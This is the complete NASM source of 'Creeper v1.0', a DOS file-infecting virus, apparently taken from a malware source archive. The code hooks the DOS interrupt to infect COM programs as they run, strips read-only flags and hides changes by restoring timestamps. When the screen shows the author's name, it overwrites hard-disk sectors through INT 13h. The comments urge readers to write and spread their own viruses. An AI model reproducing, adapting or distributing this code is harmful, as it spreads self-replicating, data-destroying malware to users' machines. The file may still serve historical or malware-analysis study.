MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.creeper.asm
2021-01-12 17:38:47 -06:00

329 lines
5.1 KiB
NASM

;
; Demoralized Youth proudly presents: Creeper v1.0, Original Source
;
; Written by: TORMENTOR
;
; Yez, here it is... It's not like 4096 or Pogue, but it's a virus!
; The reason why I release the original source is that I think I
; can't do much more on this virus... I will start from scratch
; and write a larger and more smarter EXE-virus...
; And if I release this source maybe YOU will get some god ideas and
; write your own virus (or rewrite this!)...
; And if you do, Great! Feel free to mix with it as much as you want
; but please don't change this file!
; Well, go on and write virus! The world is to safe!
;
;
; Regards / TORMENTOR
;
code segment byte public
assume cs:code, ds:code, es:code, ss:code
org 100h
codebeg:
mov ax,043FFh ; Remove virus from code!
int 21h
; Let's allocate some mem!
mov ax,ds
sub ax,11h
mov ds,ax
cmp byte ptr ds:[0100h],5Ah
jnz skip
mov ax,ds:[0103h]
sub ax,40h
jb skip
mov ds:[0103h],ax
sub word ptr ds:[0112h],50h
mov es,ds:[0112h]
push cs
pop ds
mov cx,code_end-codebeg
mov di,100h
push di
mov si,di
rep movsb
push es
pop ds
mov ax,351Ch
int 21h
mov word ptr ds:[int1Cret],bx
mov word ptr ds:[int1Cret+2],es
mov al,21h
int 21h
mov word ptr ds:[real21+1],bx
mov word ptr ds:[real21+3],es
mov ah,25h
mov dx,offset int21beg
int 21h
mov al,1Ch
mov dx,offset int1Cnew
int 21h
push cs
push cs
pop es
pop ds
ret
skip: int 20h
int21beg: push ax
sub ax,4B00h
jz infect
pop ax
cmp ax,043FFh ; Check if Harakiri.
jne real21
mov ax,word ptr ds:[retdata]
mov si,ax
mov di,100h
mov cx,code_end-codebeg
rep movsb
mov ax,100h
pop cx
pop cx
push es
push ax
iret
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
retdata: db 00h, 00h
f_time: dw 0000h
f_date: dw 0000h
infect: pop ax
push ax
push bx
push cx
push di
push ds
push dx
push si
mov ah,43h ; Get file attr.
int 21h
mov ax,4301h
and cx,0FEh ; Strip the Read-only-flag
int 21h
mov ax,3D02h ; Open victim.
int 21h
xchg ax,bx
call sub_2
sub_2: mov di,sp ; God what I hate that Eskimo!
mov si,ss:[di]
inc sp
inc sp
push cs
pop ds
mov ax,5700h ; Get file's time and date
int 21h
mov [si-(sub_2-f_time)],cx
mov [si-(sub_2-f_date)],dx ; And save them...
mov ah,3Fh ; Read X byte from begin.
mov cx,code_end-codebeg
add si,code_end-sub_2 ; SI points to EOF
mov dx,si
int 21h
cmp word ptr [si],'MZ' ; Mark Zimbowski?
je close
cmp word ptr [si],'ZM' ; Zimbowski Mark?
je close
mark: cmp word ptr [si+(mark-codebeg+4)],'YD' ; infected?
je close
call put_eof ; move file ptr to EOF
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
ja close
cmp ax,code_end-codebeg+100h
jb close
add ax,100h
mov word ptr ds:[si-(code_end-retdata)],ax
mov ah,40h ; Flytta beg to end.
mov cx,code_end-codebeg
mov dx,si
int 21h
mov ax,4200h ; fptr to filbeg.
xor cx,cx
xor dx,dx
int 21h
mov ah,40h ; Write virus to beg.
mov cx,code_end-codebeg
mov dx,si
sub dx,cx
int 21h
close: mov ax,5701h
mov cx,[si-(code_end-f_time)]
mov dx,[si-(code_end-f_date)]
int 21h
mov ah,3Eh
int 21h ; close file, bx=file handle
pop si
pop dx
pop ds
pop di
pop cx
pop bx
pop ax
jmp real21
put_eof: mov ax,4202h
xor dx,dx
xor cx,cx
int 21h
ret
int1Cnew:
push ax
inc byte ptr cs:[counter]
mov al,30h
cmp byte ptr cs:[counter],al
jz scan
pop ax
slut: jmp dword ptr cs:[int1Cret]
scan:
push bx
push cx
push di
push ds
push dx
push es
push si
push cs
pop ds
cld
xor bx,bx
mov byte ptr cs:[counter],bh
mov cx,0FA0h
mov ax,0b800h
mov es,ax
xor di,di
again: mov al,byte ptr cs:[text+bx]
sub al,80h
repnz scasb
jnz stick
maybe: inc di
inc bx
cmp bx,10d
jz beep
mov al,byte ptr cs:[text+bx]
sub al,80h
scasb
jz maybe
xor bx,bx
jmp again
beep:
xor cx,cx
mov bx,word ptr cs:[int1Cret]
mov es,word ptr cs:[int1Cret+2]
mov ax,251Ch
int 21h
overagain: mov dx,0180h
xor bx,bx
reset: mov ah,00h
inc bx
cmp bl,5h
jz raise
inc cx
int 13h
hoho: mov ax,0380h
inc cx
int 13h
jc reset
jmp hoho
raise: xor cx,cx
xor bx,bx
inc dx
cmp dl,85h
jnz hoho
jmp overagain
stick:
pop si
pop es
pop dx
pop ds
pop di
pop cx
pop bx
pop ax
jmp slut
counter: db 00h
text: db 'T'+80h, 'O'+80h, 'R'+80h, 'M'+80h, 'E'+80h, 'N'+80h
db 'T'+80h, 'O'+80h, 'R'+80h, '!'+80h
; This is what it scans the screen for --^
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
code_end: ; THE END.
code ends
end codebeg
;
; Greetings to: Charlie, HITMAN, Wiper, Torpedo, Tortuer, WiCO, Drive Screwer
; And ALL other virus-writers!
;